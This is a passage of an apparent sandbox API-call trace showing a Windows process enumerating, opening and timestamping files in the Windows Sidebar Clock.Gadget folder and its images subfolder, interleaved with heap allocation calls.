lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x467a, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.js", cAlternateFileName="")) returned 1 [0089.890] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5c4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0089.890] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x0, cFileName="timeZones.js", cAlternateFileName="")) returned 1 [0089.890] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x0, cFileName="timeZones.js", cAlternateFileName="")) returned 0 [0089.890] GetLastError () returned 0x12 [0089.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1318e98) returned 1 [0089.890] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1318d90) returned 1 [0089.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1318c88) returned 1 [0089.891] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0089.891] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0089.891] GetLastError () returned 0x12 [0089.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316978) returned 1 [0089.891] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1318868) returned 1 [0089.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316870) returned 1 [0089.892] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44cd7dc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb44cd7dc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb44cd7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0089.892] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818f91fe, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818f91fe, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0089.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316870 [0089.892] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818f91fe, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818f91fe, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.892] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0089.893] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0089.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.893] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0089.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.893] NtClose (Handle=0x168) returned 0x0 [0089.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316870) returned 1 [0089.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316870 [0089.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318868 [0089.895] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0089.896] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818f91fe, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818f91fe, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.897] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44cd7dc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb44cd7dc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb44cd7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6530, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer.png", cAlternateFileName="")) returned 1 [0089.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316978 [0089.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2688 [0089.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318c88 [0089.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.899] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c6d6ed, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8c6d6ed, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb44f393c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x132, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_dot.png", cAlternateFileName="")) returned 1 [0089.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c26a8 [0089.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318d90 [0089.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.901] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c2142f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8c2142f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb44f393c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_h.png", cAlternateFileName="")) returned 1 [0089.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c26c8 [0089.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318e98 [0089.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.903] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c4758e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8c4758e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4bf19dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_m.png", cAlternateFileName="")) returned 1 [0089.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c26e8 [0089.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13194c8 [0089.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.904] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c6d6ed, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8c6d6ed, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e2ce7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc63, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_s.png", cAlternateFileName="")) returned 1 [0089.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2708 [0089.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13195d0 [0089.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.906] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c9384c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8c9384c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e52fdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7454, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_settings.png", cAlternateFileName="")) returned 1 [0089.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2728 [0089.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13196d8 [0089.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.908] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cb99ab, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cb99ab, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e52fdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x77b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner.png", cAlternateFileName="")) returned 1 [0089.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2748 [0089.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13197e0 [0089.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.909] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cdfb0a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cdfb0a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e7913c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_dot.png", cAlternateFileName="")) returned 1 [0089.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2768 [0089.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13198e8 [0089.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.911] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cb99ab, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cb99ab, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e7913c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_h.png", cAlternateFileName="")) returned 1 [0089.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2788 [0089.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13199f0 [0089.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.913] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cb99ab, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cb99ab, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e9f29c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_m.png", cAlternateFileName="")) returned 1 [0089.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c27a8 [0089.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1319af8 [0089.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.915] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cdfb0a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cdfb0a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4ec53fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_s.png", cAlternateFileName="")) returned 1 [0089.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c27c8 [0089.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1319c00 [0089.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8fc0) returned 0x132a698 [0089.916] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d05c69, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d05c69, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4eeb55c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7fb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_settings.png", cAlternateFileName="")) returned 1 [0089.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c27e8 [0089.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1319d08 [0089.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.918] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d05c69, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d05c69, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4eeb55c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x876e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower.png", cAlternateFileName="")) returned 1 [0089.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2808 [0089.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1319e10 [0089.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.920] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d51f27, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d51f27, ftLastAccessTime.dwHighDateTime=0x1ca0404, 